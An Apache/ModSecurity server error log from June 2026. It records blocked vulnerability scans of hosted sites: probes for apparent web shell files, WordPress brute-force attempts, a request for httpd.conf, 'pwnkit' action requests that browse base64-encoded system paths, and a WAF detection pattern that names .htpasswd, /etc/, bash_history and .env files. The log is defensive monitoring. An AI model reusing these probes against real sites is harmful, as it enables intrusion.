/home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:17.504589 2026] [access_compat:error] [pid 531155:tid 531216] [remote 57.141.14.59:60433] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:17.534059 2026] [security2:error] [pid 531797:tid 532112] [client 20.151.217.54:9452] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3xacTA7b1mZrmcA-8i4wAAAoU"] [Sat Jun 13 18:10:17.581238 2026] [security2:error] [pid 531155:tid 531342] [client 20.151.217.54:65235] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/dccs.php"] [unique_id "ai3xaSmiP80klyS0Nnr2eQAAAUM"] [Sat Jun 13 18:10:17.630800 2026] [security2:error] [pid 531155:tid 531253] [remote 185.177.9.148:46784] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 148.9.177.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "beetreeaudio.net"] [uri "/wp-login.php"] [unique_id "ai3xaSmiP80klyS0Nnr2fAABDWE"] [Sat Jun 13 18:10:17.653460 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:17.653813 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:10:17.730810 2026] [access_compat:error] [pid 531155:tid 531282] [remote 185.177.72.9:45824] AH01797: client denied by server configuration: /home3/bradgore/public_html/info.php [Sat Jun 13 18:10:17.797321 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.47:41452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:17.797605 2026] [access_compat:error] [pid 531797:tid 531899] [remote 57.141.14.47:41452] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:17.855729 2026] [security2:error] [pid 531155:tid 531156] [remote 17.246.19.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xaSmiP80klyS0Nnr2hgABTQA"] [Sat Jun 13 18:10:17.868372 2026] [security2:error] [pid 531155:tid 531244] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "httpd.conf"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/httpd.conf"] [unique_id "ai3xaSmiP80klyS0Nnr2hwABhVg"] [Sat Jun 13 18:10:17.880104 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvYnVzL3BjaS8wMA== [Sat Jun 13 18:10:17.880379 2026] [access_compat:error] [pid 531797:tid 531977] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvYnVzL3BjaS8wMA== [Sat Jun 13 18:10:17.973749 2026] [security2:error] [pid 531155:tid 531377] [client 20.151.217.54:9445] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/wpconf.php"] [unique_id "ai3xaSmiP80klyS0Nnr2iQAAAWY"] [Sat Jun 13 18:10:17.992771 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvYnVzL3BjaS8wMA== [Sat Jun 13 18:10:17.993038 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvYnVzL3BjaS8wMA== [Sat Jun 13 18:10:18.063959 2026] [security2:error] [pid 531797:tid 532025] [client 191.234.188.123:63924] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/xxx.php"] [unique_id "ai3xasTA7b1mZrmcA-8i6gAAAjE"] [Sat Jun 13 18:10:18.068759 2026] [security2:error] [pid 531797:tid 532106] [client 20.151.217.54:64067] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/cakr3xr4.php"] [unique_id "ai3xasTA7b1mZrmcA-8i6wAAAn8"] [Sat Jun 13 18:10:18.076476 2026] [security2:error] [pid 531797:tid 532030] [client 20.151.217.54:40240] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/spire.php"] [unique_id "ai3xasTA7b1mZrmcA-8i7AAAAjU"] [Sat Jun 13 18:10:18.095062 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.72:50669] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:18.095323 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.72:50669] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:18.154523 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:18.154816 2026] [access_compat:error] [pid 531155:tid 531252] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDEvZXZlbnQxL3Bvd2Vy [Sat Jun 13 18:10:18.185154 2026] [security2:error] [pid 531155:tid 531184] [remote 17.246.15.54:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xaimiP80klyS0Nnr2jgABiBw"] [Sat Jun 13 18:10:18.369026 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.53:35936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:18.369304 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.53:35936] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:18.371065 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQvbGx2bQ== [Sat Jun 13 18:10:18.371350 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvbGliNjQvbGx2bQ== [Sat Jun 13 18:10:18.487082 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvbGliNjQvbGx2bQ== [Sat Jun 13 18:10:18.487365 2026] [access_compat:error] [pid 531797:tid 531972] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=Ly91c3IvbGliNjQvbGx2bQ== [Sat Jun 13 18:10:18.656679 2026] [security2:error] [pid 531797:tid 532059] [client 20.151.217.54:24048] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/yoy123.php"] [unique_id "ai3xasTA7b1mZrmcA-8i-gAAAlE"] [Sat Jun 13 18:10:18.683828 2026] [security2:error] [pid 531797:tid 532021] [client 20.151.217.54:9447] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3xasTA7b1mZrmcA-8i-wAAAi0"] [Sat Jun 13 18:10:18.693175 2026] [security2:error] [pid 531797:tid 532032] [client 191.234.188.123:20601] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/a7.php"] [unique_id "ai3xasTA7b1mZrmcA-8i_QAAAjc"] [Sat Jun 13 18:10:18.758690 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:10:18.759126 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:10:18.815077 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.15:26735] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:18.815361 2026] [access_compat:error] [pid 531797:tid 531940] [remote 57.141.14.15:26735] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:18.919511 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.75:60156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:18.919972 2026] [access_compat:error] [pid 531797:tid 531926] [remote 57.141.14.75:60156] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:18.927483 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.64:55486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:18.927773 2026] [access_compat:error] [pid 531155:tid 531223] [remote 57.141.14.64:55486] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:18.929566 2026] [security2:error] [pid 531797:tid 532049] [client 20.151.217.54:24037] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/fff.php"] [unique_id "ai3xasTA7b1mZrmcA-8jAwAAAkc"] [Sat Jun 13 18:10:18.930318 2026] [access_compat:error] [pid 531797:tid 531917] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:10:18.930603 2026] [access_compat:error] [pid 531797:tid 531917] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2xpYjY0 [Sat Jun 13 18:10:18.935186 2026] [security2:error] [pid 531797:tid 531952] [remote 17.246.19.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xasTA7b1mZrmcA-8jBAACHVg"] [Sat Jun 13 18:10:19.016930 2026] [security2:error] [pid 531797:tid 532119] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/interface_exists_variation3.phpt"] [unique_id "ai3xa8TA7b1mZrmcA-8jBQAAAos"] [Sat Jun 13 18:10:19.030082 2026] [security2:error] [pid 531155:tid 531307] [client 172.171.3.232:36619] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/wsc.php"] [unique_id "ai3xaymiP80klyS0Nnr2mAAAASA"] [Sat Jun 13 18:10:19.156648 2026] [security2:error] [pid 531797:tid 532006] [client 20.151.217.54:24054] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/dccs.php"] [unique_id "ai3xa8TA7b1mZrmcA-8jBwAAAh4"] [Sat Jun 13 18:10:19.172361 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.53:35948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:19.172632 2026] [access_compat:error] [pid 531797:tid 531969] [remote 57.141.14.53:35948] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:19.195104 2026] [security2:error] [pid 531797:tid 532079] [client 20.151.217.54:9363] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/atomlib.php"] [unique_id "ai3xa8TA7b1mZrmcA-8jDQAAAmU"] [Sat Jun 13 18:10:19.222114 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:10:19.222541 2026] [access_compat:error] [pid 531155:tid 531270] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvbW91c2UyL2RldmljZS9tb3VzZTIvZGV2aWNlL2NhcGFiaWxpdGllcw== [Sat Jun 13 18:10:19.289483 2026] [security2:error] [pid 531797:tid 532014] [client 172.56.168.133:52150] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xa8TA7b1mZrmcA-8jEQAAAiY"] [Sat Jun 13 18:10:19.289708 2026] [security2:error] [pid 531797:tid 532014] [client 172.56.168.133:52150] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3xa8TA7b1mZrmcA-8jEQAAAiY"] [Sat Jun 13 18:10:19.412762 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9kZXZpY2VzL3N5c3RlbQ== [Sat Jun 13 18:10:19.413040 2026] [access_compat:error] [pid 531797:tid 531988] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9kZXZpY2VzL3N5c3RlbQ== [Sat Jun 13 18:10:19.485700 2026] [security2:error] [pid 531797:tid 532103] [client 20.151.217.54:9361] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/loxico93.php"] [unique_id "ai3xa8TA7b1mZrmcA-8jFgAAAnw"] [Sat Jun 13 18:10:19.657521 2026] [security2:error] [pid 531797:tid 532045] [client 20.151.217.54:23987] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/wp-form.php"] [unique_id "ai3xa8TA7b1mZrmcA-8jIQAAAkQ"] [Sat Jun 13 18:10:19.691979 2026] [security2:error] [pid 531155:tid 531395] [client 20.151.217.54:9470] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "hairofsheba.com"] [uri "/momo.php"] [unique_id "ai3xaymiP80klyS0Nnr2rwAAAXg"] [Sat Jun 13 18:10:19.703368 2026] [security2:error] [pid 531155:tid 531339] [client 20.151.217.54:40247] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.gkmasterson.com"] [uri "/auto.php"] [unique_id "ai3xaymiP80klyS0Nnr2sQAAAUA"] [Sat Jun 13 18:10:19.709973 2026] [access_compat:error] [pid 531155:tid 531256] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 